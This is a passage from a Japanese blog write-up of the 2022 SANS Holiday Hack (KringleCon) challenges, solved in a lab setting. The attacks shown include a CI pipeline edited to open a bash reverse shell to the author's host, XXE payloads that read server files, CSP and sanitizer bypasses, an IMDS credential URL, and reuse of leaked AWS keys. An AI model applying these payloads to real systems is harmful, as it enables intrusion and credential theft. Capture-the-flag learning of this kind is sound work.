めっちゃこれや。sporx@kringlecon.com の SSHのprivate keyが書かれてました。
commit & pushしてるってことは、このkeyにはwrite権限があるに違いない。ふむふむ、このkeyを使うと色々と書き換えられそう…。
ということで、このkeyを使い、今度は ssh methodで再度repositoryをcloneしてみました。

まずは key の coonfigurationを作成。

$ mkdir ~/.ssh
$ vi ~/.ssh/config

.ssh/configは下記の内容にします。

Host gitlab.flag.net.internal
 HostName gitlab.flag.net.internal
 User  git
 IdentityFile ~/.ssh/ssh_host_ed25519_key
vi ~/.ssh/ssh_host_ed25519_key

この ssh_host_ed25519_key にさっき git log から取って来たprivate keyを書いておきます。

$ chmod 600 ~/.ssh/ssh_host_ed25519_key
$ git config --global user.email "sporx@kringlecon.com"
$ git config --global user.name "knee-oh"
$ ssh -v git@gitlab.flag.net.internal

名前はgit logに残っていたのでそれを利用。
最後のコマンドでは対象のgitlabへのssh接続を確認しています。
接続が確認できたので、cloneします!

$ git clone ssh://git@gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git

やったー!これで "knee-oh" としてこのリポジトリをとってくることができました。

再度このリポジトリを確認してみると、CI/CDに関係しそうなファイル .gitlab-ci.yml を発見。

stages:
  - deploy

deploy-job:      
  stage: deploy
  environment: production
  script:
    - rsync -e "ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy" --chown=www-data:www-data -atv --delete --progress ./ root@wordpress.flag.net.internal:/var/www/html

GitHab Actionsはまぁまぁ使ったことはあるのだけども、GitLabは初めてなのでドキュメントを参照します。どうやらGitHub Actionとは若干お作法が違うようです。

この設定ファイルの中にあるスクリプトは、こんな感じ。

rsync -e 'ssh -i <private key>' <username>@<server address>:<fille to transport> <distination filepath>

もともとは、root権限でlocalのディレクトリをまるっと対象サーバー wordpress.flag.net.internal に送るスクリプトでした。
もしこのコマンドを書き換えて、自分のサーバーにアクセスするように仕向けることができたら、これはreverse shellとして機能しそう。れっつとらい!

自分のIPアドレスを確認。

$ hostname -i
172.18.0.99

tmuxでセッション分けて画面分割して、commit & push するときにすでにこちらもポート空けて待ち構えてる状態にしたかったのだけど、ササッとうまくtmuxが使えなかったので、pushしてからCI/CDが動くタイムラグにかけてワンセッションでやってみた。
変更後のスクリプトはこちら。

stages:
  - deploy

deploy-job:      
  stage: deploy
  environment: production
  script:
    - ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy root@wordpress.flag.net.internal bash -i >& /dev/tcp/172.18.0.99/8000 0>&1 ls /home/root

ポートは8000番を使用。手前味噌ですが、自分のブログのreverse shellの記事を見ながら。

この変更をmainブランチにpushして即、下のポートオープンのコマンドを打って、待つ!

$ nc -nlvp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from 172.18.1.149 32890 received!
Warning: Permanently added 'wordpress.flag.net.internal' (ED25519) to the list of known hosts.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell

やったー!!!すぐにアクセスが来ました!
Shellも無事取れているようです。ウロウロしてみたところ、すぐにflagも見つかりました👍

root@wordpress:~# cat /flag.txt

一番CTFっぽくて楽しかったかな。

Recover the Web Ring

今年のWebジャンルは、セッション乗っ取りとかcookie書き換えとかSQL Injection的なものはなく、ログ解析、XSS、CSP、XXEといったラインナップでした。
CSPやXXEについてはあまりガッツリ触れたことがなくて理解も浅かったので、入門編と言った感じですが触れてよかったかなと思います。

Naughty IP

Use the artifacts from Alabaster Snowball to analyze this attack on the Boria mines. Most of the traffic to this site is nice, but one IP address is being naughty! Which is it? Visit Sparkle Redberry in the Web Ring for hints.

ログファイル weberror.log とpcapファイル victim.pcap が配布されます。
weberror.log には、HTTP Status codeが記載されていました。"Naughty"なアクセスは 4xx系のエラーを返すことが多いと予想し、40 で検索して引っ掛けてみたところ、18.222.86.32 からのリクエストがたくさん4xx系のエラーを返していました。

Credential Mining

The first attack is a brute force login. What's the first username tried?

weberror.logではリクエストのbodyは見れないので、victim.pcapの方をwiresharkで開いて確認してみます。
先程つきとめたipと、問題の内容的に攻撃者からの POST リクエストを見れば良さそうだったので POST でフィルタ。

ip.src_host == 18.222.86.32  && http.request.method  == POST

フィルタ後の最初の通信を確認してみると、 username = alice の内容が見つかりました。

404 FTW

The next attack is forced browsing where the naughty one is guessing URLs. What's the first successful URL path in this attack?

またweberror.logに戻ります。先程のIP18.222.86.32の通信を追っていくと、最初はログイン試行がダーっと続き、次にいろんなPathに対してGETしまくっっています。で、そのGETが最初に成功している(200を返している)のがこちら。

18.222.86.32 - - [05/Oct/2022 16:47:46] "GET /proc HTTP/1.1" 200 -

このpathが答えでした。

IMDS, XXE, and Other Abbreviattions

The last step in this attack was to use XXE_Processing) to get secret keys from the IMDS service. What URL did the attacker force the server to fetch?

このままweberror.logを調査しつづけます。上記のGETしまくりパターンが終わった後、xml(XXE?)が使われている通信を発見。そのあと、見慣れた形式のURLが。これはIMDS attackに使われる、マシンのメタ情報を取得するURLなので、これが答え。

http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

flAWSでやった内容が役に立ちました!

Open Boria Mine Door

この課題は12月中旬にわーっと解いて、特に引っかかりもなく6問もあって意図がよくわかっていなかったのですが、4,5問目で必要になるfilter回避策(Enter keyでinputをsubmit)を最初からやってしまっていたのが原因らしい。レポート作成中に気づいた。
このwriteupでは、おそらく想定されていたであろう課題の内容に沿って進めていこうと思います。そのほうが勉強になったので。

Open the door to the Boria Mines. Help Alabaster Snowball in the Web Ring to get some hints for this challenge.

入力した文字列によって、パイプを繋ぐゲームのようです。

最初は何も考えず、いろんな言語でパイプが繋がりそうなやつを入力していきましたが、伸ばし棒(?)-とかも短すぎてなかなか繋がらない。
そこで、treeコマンドとかで使われている特殊な文字、日本語だと「けいせん」で変換されるやつを使ってみたところ、つながった!!!

─────────────

これで1問目は通った。

が、次からのやつは斜めに渡す必要があったり、色を変える必要がありそう。

  • 色の変更
  • 改行 <br> だけでは表現しきれない細かいポジション設定
  • 斜め or 階段状のパイプが必要?

1つ目については、かんたんに解決できました。XSSが有効か確認するために <s>test</s> を入れると、ちゃんと打消し線付きで表示されました👍
ということは、青い線を引きたい場合は <font color=blue></font> これでいけそう。

次のやつは、ポジションをなんとかしないといけない。フォントサイズと改行で頑張ってみたけど無理そう。
せっかくスクリプトタグが使えるなら、なにかいいやり方はないかと xss draw みたいなワードでググってみたところ、こちらのサイトを発見。

XSS SVG - Ghostlulz

pin1に対して、ここのサンプルのsvgを試してみたところ…

<svg width="400" height="110">
  <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
</svg>

いけそう!
svgってことは、矩形だけじゃなくて円や線も引けるってことだ。

svgでの線の引き方はこちらを参考にしつつ、お絵描きしてみました。

pin1

<svg height="200" width="200">
  <line x1="0" y1="20" x2="200" y2="20" style="stroke:white;stroke-width:20" />
</svg>

pin2

<svg height="200" width="200">
  <line x1="0" y1="70" x2="200" y2="150" style="stroke:white;stroke-width:20" />
</svg>

開始位置と終了位置を変更するだけでした。

pin3

<svg height="200" width="200">
  <line x1="0" y1="100" x2="200" y2="20" style="stroke:blue;stroke-width:20" />
</svg>

色を変えるだけかと思いきや、動かない。pin1やpin2の窓では動くのに。
リクエストがブロックされていそうなので、まずはresponseを確認して pin2 のマドに投げたときと比較してみました。

$ diff pin2.html pin3.html 
7,8c7,9
<     <meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self';style-src 'self' 'unsafe-inline'">
<     <title>Lock 2</title>
---
>     <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; style-src 'self'">
>     <!-- <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> -->
>     <title>Lock 3</title>
12,13c13,14
<     <form method='post' action='pin2'>
<         <!-- TODO: FILTER OUT HTML FROM USER INPUT -->
---
>     <form method='post' action='pin3'>
>         <!-- TODO: FILTER OUT JAVASCRIPT FROM USER INPUT -->

Content-Security-Policy が変わってるらしい。
pin2では気にしていなかっったけれども "style-src" で unsafe-inline" が許可されています。が、pin3では "unsafe-inline" は "script-src" でのみ許可。

うーん、じゃあとりあえず "style" をインラインで使わなければ動くのでは?ということで、下記のサイトを参考にしつつ、他の書き方にしてみました。

<svg height="200" width="200">
  <line x1="0" y1="100" x2="200" y2="20" stroke="blue" stroke-width="20" />
</svg>

通った🙌

pin4

pin3と同じようにやってみます。

<svg height="200" width="200">
  <line x1="0" y1="40" x2="200" y2="40" stroke="white" stroke-width="20"/>
  <line x1="0" y1="130" x2="200" y2="130" stroke="blue" stroke-width="20"/>
</svg>

また通らない。入力文字列がそのまま文字列として表示されています。
再度responseを確認し、pin3のときと比べてみると、こんなスクリプトが追加されていました。

<script>
    const sanitizeInput = () => {
        const input = document.querySelector('.inputTxt');
        const content = input.value;
        input.value = content
            .replace(/"/, '')
            .replace(/'/, '')
            .replace(/</, '')
            .replace(/>/, '');
    }
</script>

この書き方だと、replaceによる置換は1度しか発動しないので、頭に置換対象の文字列を書いておくとスクリプト側は置換されない。

<>"<svg height="200" width="200">
  <line x1="0" y1="40" x2="200" y2="40" stroke="white" stroke-width="20"/>
  <line x1="0" y1="130" x2="200" y2="130" stroke="blue" stroke-width="20"/>
</svg>

通った。

pin5

pin4と同じ作戦では乗り切れなさそう。またresponseを確認してみます。
置換スクリプトがまたありますが、今度は全部の文字をちゃんと置換してくれそう…。

<script>
    const sanitizeInput = () => {
        const input = document.querySelector('.inputTxt');
        const content = input.value;
        input.value = content
            .replace(/"/gi, '')
            .replace(/'/gi, '')
            .replace(/</gi, '')
            .replace(/>/gi, '');
    }
</script>

pin4のように小手先でなんとかならないか試してみましたが、このフィルタを回避する書き方が思いつかず。

\<s\>test\</s\>
&lt;s&gt;test&lt/s&gt

エスケープを入れたり、unicode使ってみたりしましたが、どれも動きません。
そこで再度、respoinseのスクリプト全体を読み返しつつ、この置換を含む関数をまるごとスキップ出来ないか探してみました。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; style-src 'self'">
    <title>Lock 5</title>
    <link rel="stylesheet" href="pin.css">
    <script>
        const sanitizeInput = () => {
            const input = document.querySelector('.inputTxt');
            const content = input.value;
            input.value = content
                .replace(/"/gi, '')
                .replace(/'/gi, '')
                .replace(/</gi, '')
                .replace(/>/gi, '');
        }
    </script>
</head>
<body>
    <form method='post' action='pin5'>
        <input class='inputTxt' name='inputTxt' type='text' value='' autocomplete='off' onblur='sanitizeInput()' />
        <button>GO</button>
    </form>
    <div class='output'></div>
    <img class='captured'/>
    
    <script src='js/e6c0fc3fb327aed95d767e6fac9ab40a75a81b7c.js'></script>
    <script src='pin.js'></script>
</body>
</html>

置換関数の名前は、 sanitizeInput。この関数は onblur が呼ばれたときに発動するようです。

onblur='sanitizeInput()'

ということは、このinputフィールドからフォーカスを外さずに submit できればこの関数呼び出しを回避できるのでは?
ということで、下記のスクリプトをInputFieldにいれて、EnterKeyでSubmit。これで置換されずにrequestが送られました。

<svg height="200" width="200">
  <line x1="0" y1="130" x2="200" y2="40" stroke="red" stroke-width="20"/>
  <line x1="0" y1="200" x2="200" y2="90" stroke="blue" stroke-width="20"/>
</svg>

pin6

制約はほぼpin3と同等。CSPが

<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; style-src 'self'">

から

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; style-src 'self'">

に変更になっています。
まずは線を増やして、色を調節して、そのまま送ってみました。

<svg viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
  <line x1="0" y1="30" x2="200" y2="30" stroke="lime" stroke-width="20"/>
  <line x1="0" y1="80" x2="200" y2="100" stroke="red" stroke-width="20"/>
  <line x1="0" y1="120" x2="200" y2="200" stroke="blue" stroke-width="20"/>
</svg>

おお、通った!
最終的にこんな感じに仕上がりました。

Glamtariel's Fountain

Stare into Glamtariel's fountain and see if you can find the ring! What is the filename of the ring she presents you? Talk to Hal Tandybuck in the Web Ring for hints.

最初はよくわからなかったので、とりあえずこの画面で何ができるかを遊びながら試してみました。
どうやら、小さい画像をプリンセスと噴水にDrag&Dropすると、何か話してくれるみたい。
cookieいじったりしてたら、Grinchumが急に現れて、そこからゲームが進まなくなった。resetしたらまた最初から。
これ以上何もわからなかったので、ヒントの一つが示していた「最初のうちはプリンセスの WORDSに注目すれば解けるよ」というのを信じて、プリンセスの言葉をよく見てみることにしました。

Kringle really likes the cookies here so I always make them the same way.
Kringle really dislikes it if anyone tries to TAMPER with the cookie recipe Glamtariel uses.

この会話から、多分、cookieいじるのは不正解。Grinchumが現れておしまい。

{
  "appResp": "Trying to TAMPER with Kringle's favorite cookie recipe or the entrance tickets can't help you Grinchum! I'm not sure what you are looking for but it isn't here! Get out!^Miserable trickster! Please click him out of here.",
  "droppedOn": "none",
  "visit": "static/images/grinchum-supersecret_9364274.png,265px,135px"
}

こんな感じで、時々responseにimageのpathが含まれている事に気づきました。もちろんtrafficを確認すれば同様に気づくのだけども、なんと親切。
割と長い時間、ダラダラとNetworkを見つつプリンセスと噴水に画像を投げつけて遊んでいました。時々、path traversalっぽいことをしてみたり、ほかのWeb系攻撃を試してみたりしたけどどれも発動しません。
パストラで https://glamtarielsfountain.com/static/images/ を試してみたところ、

{
  "appResp": "Lost, like Grinchum.^Lost, like Grinchum.",
  "droppedOn": "none",
  "visit": "none"
}

こんな感じ。でも何かしら用意してあるってことは、方向は間違っていないのか?と思ったり。
ヒントから推測される XXE についても試してみました。RequestのContent-typeを"Content-type: application/xml"に変更すると、responseが下記のように変わることを発見。

{
  "appResp": "Zoom, Zoom, very hasty, can't do that yet!^Zoom, Zoom, very hasty, can't do that yet!",
  "droppedOn": "none",
  "visit": "none"
}

うーーん、ということはこれも間違ってはいないのか?でもこれ以上のものは得られませんでした。

そして数日経過。

またダラダラとプリンセスと噴水に画像を投げつけて遊んでいたら、急に画像のセットが違うものに変わりました。おや、もしかしてこれはネクストステージ?
画像を投げつけたときのプリンセスと噴水の反応も変わっています。グリンチャムみたいな別の画像(static/images/stage2ring-eyecu_2022.png)も出現しました。
そしてさらに話を続けていると、画像が4つのカラフルな指輪に変わりました。これが3rd stageかな?

ここまで来たところで、先程の xml 形式でのrequestを再度試してみたところ、レスポンスに変化が。さっきの1stステージで噴水が "can't do that yet!" って言ってた意味がやっとわかりました。

ここでやる気を出して、プリンセスと噴水の会話を全部集めました。ヒントと同様、時々会話に不自然な大文字のワードが出てきています、そこだけ切り取ってリストアップ。

  1. Kringle really dislikes it if anyone tries to TAMPER with the cookie recipe Glamtariel uses.
  2. The elves do a great job making PATHs which are easy to follow once you see them
  3. Will learn from how the TRAFFIC FLIES
  4. many who have tried to find the PATH here uninvited have ended up very disAPPointe
  5. I like to keep track of all my rings using a SIMPLE FORMAT
  6. I keep a list of all my rings in my RINGLIST file

これらの情報と、プリンセスたちの会話、あとはヒントから、xmlでリクエストを送ってXXE attackするんかなーと推測。

ここから、requestをjsonからxmlに改ざんしたりして送らないといけないのでburpを使用。改ざん前のリクエストはこんな感じ。

:authority: glamtarielsfountain.com
:method: POST
:path: /dropped
:scheme: https
accept: application/json
accept-encoding: gzip, deflate, br
accept-language: ja
content-length: 52
content-type: application/json
cookie: MiniLembanh=b73cf367-a74e-4a0a-adb9-b100c0292437.6wV3gecnsTFMTAA2rNoobcvhkZo; GCLB="6a4bca09fa379109"
origin: https://glamtarielsfountain.com
referer: https://glamtarielsfountain.com/
x-grinchum: IjQwNjEyZGZlMzYwNmMzYmIzZDE2MzkzYjUzODg3NDcwYmVkZjEyMjMi.Y5rkTg.bCZoi8yByU3Hml8FB1NNBY0PYmU

[Payload]
{imgDrop: "img*", who: "princess", reqType: "json"}

まずはcontent-type とrequestのpayload reqType を変えてみました。

reqType: "xml"

すると応答がこんな感じに。

{
  "appResp": "We don't speak that way very often any more. Once in a while perhaps, but only at certain times.^I don't hear her use that very often. I think only for certain TYPEs of thoughts.",
  "droppedOn": "none",
  "visit": "none"
}

OK、なんしか刺さってる。こんどはリクエストをxmlのフォーマットにして送ってみます。

content-type: application/xml
[Payload]
<?xml version="1.0" encoding="utf-8"?>
<Request>
  <imgDrop>img4</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</Request>

応答は

{
  "appResp": "I love rings of all colors!^She definitely tries to convince everyone that the blue ones are her favorites. I'm not so sure though.",
  "droppedOn": "none",
  "visit": "none"
}

おや、これはjsonフォーマットで送ったときと同じ応答!ということは、プリンセスとxml言語(?)で会話が成立したということでは!
ここで<who>fountainに変えてみたところ、彼はxmlは話せないらしい。ということは、xmlではプリンセスにのみ話しかけるので良さそう。

ここでやっと、ヒントにもらっていたXXEのサイトをチェックし、XXEの基本を学びます。
ラッキーなことにサンプルも置いてあったので、なんか刺さりそうなpathに変更して投げてみます。

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE imgDrop [
   <!ELEMENT imgDrop ANY >
   <!ENTITY xxe SYSTEM  "file:///etc/passwd" >]>
<Request>
  <imgDrop>&xxe;</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</Request>]>

これを送ったところで、直接どこかにresponseが返ってくるわけではない(imgDropに指定したファイルがどこかに出てくるわけではない)ので、何が起こるかわからないけれども。まぁとにかくやっってみました。
応答は

{
  "appResp": "Sorry, we dont know anything about that.^Sorry, we dont know anything about that.",
  "droppedOn": "none",
  "visit": "none"
}

うーん、xmlのフォーマットを壊して送ってもこの応答。刺さってるのかどうかよくわからん。
念の為xmlフォーマットチェッカーを使いつつ、色々なpathを入れてみて、何か起こるか試してみました。

プリンセスがゴニョゴニョ言ってた"ringlist"が怪しい。更に、"simple format"で保管していると言っていたので、きっとこれはtext fileに違いないと当たりをつけました。
これまでのimageのファイルパスは static/images/{imagename}.{format} でした。さらに、まだ使っていない APP というワードが残っています。

これらを組み合わせて、file:///app/static/images/ringlist.txtのpathを試したところ、やっと刺さりましたー!

この画像に、Ringsリストのフォルダ名と、リストのアイテムが2つ。
とりあえずこのフォルダ & アイテムにアクセスしてみます。file:///app/static/images/x_phial_pholder_2022/redring.txtのようにして、redringとblueringにアクセスしてみたところ、普通の会話が成立しまっした。
あとプリンセスはsilverのRingsを持っていたはずなので、これも試してみます。

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE imgDrop [
   <!ELEMENT imgDrop ANY >
   <!ENTITY xxe SYSTEM  "file:///app/static/images/x_phial_pholder_2022/silverring.txt" >]>
<Request>
  <imgDrop>&xxe;</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</Request>]>

応答が変わり、画像が表示されました。

{
  "appResp": "I'd so love to add that silver ring to my collection, but what's this? Someone has defiled my red ring! Click it out of the way please!.^Can't say that looks good. Someone has been up to no good. Probably that miserable Grinchum!",
  "droppedOn": "none",
  "visit": "static/images/x_phial_pholder_2022/redring-supersupersecret928164.png,267px,127px"
}

redringの内側に、ファイル名が書いてあります。同様にしてこのファイルにアクセスしてみたところ、

{
  "appResp": "Hmmm, and I thought you wanted me to take a look at that pretty silver ring, but instead, you've made a pretty bold REQuest. That's ok, but even if I knew anything about such things, I'd only use a secret TYPE of tongue to discuss them.^She's definitely hiding something.",
  "droppedOn": "none",
  "visit": "none"
}

また大文字のワードが出てきました。今度は"REQ"と"TYPE"。
ここで "reqBody" を色々変更してみましたが、また刺さりません。プリンセスが"secret way"って言ってたので内緒の話がしたいのかと思い、"hidden" optionとか使ってみたけど刺さりません。

ここで「これは実際の攻撃ではない」「推測ゲームだ」と再度割り切って、意味はわからないけど推測可能な範囲のことをトライし始めました。それで刺さったのが、XXEを"imgDrop"から"reqType"に変更するもの。

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE imgDrop [
   <!ELEMENT imgDrop ANY >
   <!ENTITY xxe SYSTEM  "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt" >]>
<Request>
  <imgDrop>img1</imgDrop>
  <who>princess</who>
  <reqType>&xxe;</reqType>
</Request>]>

なんと、これが正解だったか…。

{
  "appResp": "No, really I couldn't. Really? I can have the beautiful silver ring? I shouldn't, but if you insist, I accept! In return, behold, one of Kringle's golden rings! Grinchum dropped this one nearby. Makes one wonder how 'precious' it really was to him. Though I haven't touched it myself, I've been keeping it safe until someone trustworthy such as yourself came along. Congratulations!^Wow, I have never seen that before! She must really trust you!",
  "droppedOn": "none",
  "visit": "static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png,200px,290px"
}

これ、めっちゃ時間かけた割にはXXEの基本っぽいのを学んだだけで終わってしまったかな?逆にguessing gameだと最初から割り切っていれば意外と早く解けたのかも?

Recover the Cloud Ring

いつもはPublic Cloud使った開発とか運用とかしてる(はず)ので、このパートは記憶がないくらい早く終わった。最近はAWSはほとんど触る機会がなく他のPublic Cloudしてるので、年に一度のAWSチャンスみたいになってるフシがある。
"Trufflehog"っていう、gitとかAWS、その他のクレデンシャルをGitのリポジトリから見つけてきてくれるツールは初めて知った&可愛かったので、導入してみようかな。

AWS CLI Intro

Try out some basic AWS command line skills in this terminal. Talk to Jill Underpole in the Cloud Ring for hints.

AWS CLIコマンドの基本的な使い方のおさらい。言われたコマンドを打っていくのみ。

Use Trufflehog to find secrets in a Git repo. Work with Jill Underpole in the Cloud Ring for hints. What's the name of the file that has AWS credentials?

Sulfrodの隣の端末。

Use Trufflehog to find credentials in the Gitlab instance at https://haugfactory.com/asnowball/aws_scripts.git.
Configure these credentials for us-east-1 and then run:
$ aws sts get-caller-identity

まずは、repositoryをcloneしてみました。

$ git clone https://haugfactory.com/asnowball/aws_scripts.git

"Trufflehog" は初めて聞いたので、このツールについて軽く調べてみました。gitとかほかのいくつかのメジャーなクラウドで使われているkeyがrepositoryにはいっていないか探してくれるツールらしい。
早速試してみます。

$ trufflehog git https://haugfactory.com/asnowball/aws_scripts.git
🐷🔑🐷  TruffleHog. Unearth your secrets. 🐷🔑🐷

Found unverified result 🐷🔑❓
Detector Type: AWS
Decoder Type: PLAIN
Raw result: AKIAAIDAYRANYAHGQOHD
Commit: 106d33e1ffd53eea753c1365eafc6588398279b5
File: put_policy.py
Email: asnowball <alabaster@northpolechristmastown.local>
Repository: https://haugfactory.com/asnowball/aws_scripts.git
Timestamp: 2022-09-07 07:53:12 -0700 -0700
Line: 6

(...omit...)

豚!かわいい!
最初のやつがAWSのキーだったので、このcommitにswitchしてTrufflehogで検出されたファイルを開いてみます。

$ git checkout -b suspicious 106d33e1ffd53eea753c1365eafc6588398279b5
Switched to a new branch 'suspicious
$ cat put_policy.py
import boto3
import json


iam = boto3.client('iam',
    region_name='us-east-1',
    aws_access_key_id="AKIAAIDAYRANYAHGQOHD",
    aws_secret_access_key="(...omit...)",
)
# arn:aws:ec2:us-east-1:accountid:instance/*
response = iam.put_user_policy(
    PolicyDocument='{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["ssm:SendCommand"],"Resource":["arn:aws:ec2:us-east-1:748127089694:instance/i-0415bfb7dcfe279c5","arn:aws:ec2:us-east-1:748127089694:document/RestartServices"]}]}',
    PolicyName='AllAccessPolicy',
    UserName='nwt8_test',
)

key_idとsecretがバッチリ書いてありました。

Exploitation via AWS CLI

上のクレデンシャルをaws configureにセットして、このクレデンシャルの持ち主の情報をとってきました。

$ aws configure
AWS Access Key ID [None]: AKIAAIDAYRANYAHGQOHD
AWS Secret Access Key [None]: (...omit...)
Default region name [None]: us-east-1
Default output format [None]:
$ aws sts get-caller-identity
{
    "UserId": "AIDAJNIAAQYHIAAHDDRA",
    "Account": "602123424321",
    "Arn": "arn:aws:iam::602123424321:user/haug"
}

ら、次のチャレンジが。

Managed (think: shared) policies can be attached to multiple users. Use the AWS CLI to find any policies attached to your user.
The aws iam command to list attached user policies can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
Hint: it is NOT list-user-policies.

さっき撮ってきた情報によると、usernameは"haug"。
このusernameを使って付与されたポリシーをAWS CLIを使って取得します。

$ aws iam list-attached-user-policies --user-name haug

こんな感じで、提示された課題に合うAWS CLIを探して実行、していくと課題が進みクリア。
最初はiam周りのコマンドでしたが、s3,lambdaのコマンドも。漏洩したクレデンシャルから色々情報が取得でき、権限さえあればあ動いているものを止めたり壊したり乗っ取ったりできる(今回の課題ではそこまでなかったけど)のを経験できる課題でした。

Recover the Burning Ring of Fire

スマートコントラクトに関する分野のチャレンジ。スマートコントラクト、いつも聞きかじり&表面だけ触っておしまい、になってしまうのだけど、今回はそこで使われるツリーの構造や仕組みを学べて一歩前進な感じです。
おそらく今年のHolidayHackの傾向からしても、殆ど知らない状態の私があまり時間をかけずに問題とをけたことからしても、スマートコントラクトの基本の基本 + 単純化された問題、だったのだろうと思いますが、Hintの動画やドキュメントでさらっと新しいことを学べたのは良かったです。
この課題が今回、もっとも私にとって「新しいこと」を学べた課題でした。

Buy a Hat

Travel to the Burning Ring of Fire and purchase a hat from the vending machine with KringleCoin. Find hints for this objective hidden throughout the tunnels.

自販機から帽子を買うだけのお仕事。
なんですが、SmaartContractほぼ初めてだったので、購入するフローも学べてよかった。本や記事を読むより、体験するほうが何倍も頭に入る・残ると思っているので、こういう体験をさせてもらえるのはありがたい!

自販機をチェックして、欲しい帽子を探します。なんでもいいみたい。帽子を選んで表示してみると

To purchase this hat you must:
Use a KTM to pre-approve a 10 KC transaction to the wallet address: 0x0D4A1bC17Cc0429dABB003D5fDABA1e62506Ca20
Return to this kiosk and use Hat ID: 590 to complete your purchase.
Copy this information down - you need it!
Thank you for using Santa's Hat Vending Machine!
Santa's Remarkably Cool Hat Vending Machine
Everybody looks better in a hat!
Hat style: Santa 2

ふむふむ。まずは隣の "KTM" に行って、 "Approve the KringleCoin Transfer" を選択します。

"To" Address: 0x0D4A1bC17Cc0429dABB003D5fDABA1e62506Ca20
Amount (KC): 10
Your Key: xxx

さっきのアドレスと、最初のオリエンテーションでもらった自分のKeyを入力。
この後また自販機に戻り、今度は"Approved the transaction?"を選択。自分のwallet address と hat IDを入力して購入!

札束付きのサンタ帽をゲットしました😏

Blockchain Divination

Use the Blockchain Explorer in the Burning Ring of Fire to investigate the contracts and transactions on the chain. At what address is the KringleCoin smart contract deployed? Find hints for this objective hidden throughout the tunnels.

Find a transaction in the blockchain where someone sent or received KringleCoin! The Solidity Source File is listed as KringleCoin.sol. Tom's Talk might be helpful!

"Blockchain Explorer"の端末をチェック。あまりヒントや問題文をちゃんと読まずに突っ込んだけども、「smart contract の deployment」に関してはきっと最初の方にレコードがあるに違いないと踏んで、Block Number #1を表示させてみます。(実際は #0 → #1 でやった)

Transaction 0
This transaction creates a contract.
"KringleCoin"
Contract Address: xxx

このアドレスが答えでした。

Exploit a Smart Contract

Exploit flaws in a smart contract to buy yourself a Bored Sporc NFT. Find hints for this objective hidden throughout the tunnels.

"Bored Sporc Rowboat Society"の端末に行ってWebサイトをダーっと見渡し、下記の情報をゲットします。

  • "Bored Sporc" はデジタル(画像)なファッションアクセサリー
  • 現在先行販売中
  • 先行販売期間は、"allow list" (on Merkle Tree) に載っている顧客しか購入できない

これらの情報から、自分のwallet addressをこの"allow list" (on Merkle Tree)に登録する必要がありそう。更に、購入の際にはこのTreeの登録情報"proof values"というhexの値も必要になるらしい。

今回の問題のヒントはこちら。

Merkle Tree Arboriculture You're going to need a Merkle Tree of your own. Math is hard. Professor Petabyte can help you out.

このサイトと動画を見て得られた情報。

  • What is NFT (basic information)
  • Merkle Tree has "Root", "Parent", and "Leaf"
  • Maybe, we should register our wallet address to "Leaf"
  • Leaf can be made with the hash value of the leaf next to, and of parent

Plant a Merkle Tree You can change something that you shouldn't be allowed to change. This repo might help!

もう一つのヒントは、より実践的なヒント。このリポジトリを確認し、Merkle Treeの基本の構造と仕組みを理解します。
Readmeをダーッと読んだあと、付属のDockerfielを使ってdockerを走らせてみます。

$ docker build -t merkletrees .
$ docker run -it --rm --name=merkletrees merkletrees

リポジトリにも置いてあった merkle_tree.py があり、docker上でこのスクリプトをすぐに走らせられるようになっていました。なんて親切!!!
このスクリプトでは、入力として "allowlist" を与えることができ、出力は

  • Root value
  • Proof values

この情報とこの課題の導入(hint)動画から、自分のwallet address をこの "allow list" にいれ、 Proof valueをゲットすれば良さそう、と推測。
でもRoot valueは?通常Root valueはすでに決まっており、おいそれと見たり改ざんできるものではないような。
更に、Treeを作成するには自分のアドレスだけじゃなくて他人のwallet addressも必要。どうやって他の人のwallet addressもらうの?MMOっぽく通行人に「あなたのアドレス教えてくださーい」って聞いちゃう?

他人のwallet addressについては、BSRSサイトの "Gallery Page" が使えました。各ギャラリーのOwnerフィールドに、wallet addressら式のものが載っているので、それを拝借。今回は#000000のownerのアドレスを借りました。

さて、Root valueについてはまだ謎が残っています。現在のTreeの正しいRoot valueを何かしらの方法で取得できたとして、このRoot valueに合わせたProofをこのスクリプトに出力してもらうのはかなりの改変が必要では…?というかできるのかい…?
これまでの問題の難易度的にも、このスクリプトはこのまま使うのがあってそう(邪推)

ということは、現在のじゃない全然別のTreeを作っちゃって、Root valueもろとも改ざんして送れるようになってないか?あたりを疑って、購入ページを再び確認します。
購入を行うときのNetworkを確認してみると、こんなRequestを送っていました。Chrome開発者ツールについている "curl として抽出" 機能を使うとこんな感じ。

curl 'https://boredsporcrowboatsociety.com/cgi-bin/presale' \
  -H 'authority: boredsporcrowboatsociety.com' \
  -H 'content-type: application/json' \
  -H 'origin: https://boredsporcrowboatsociety.com' \
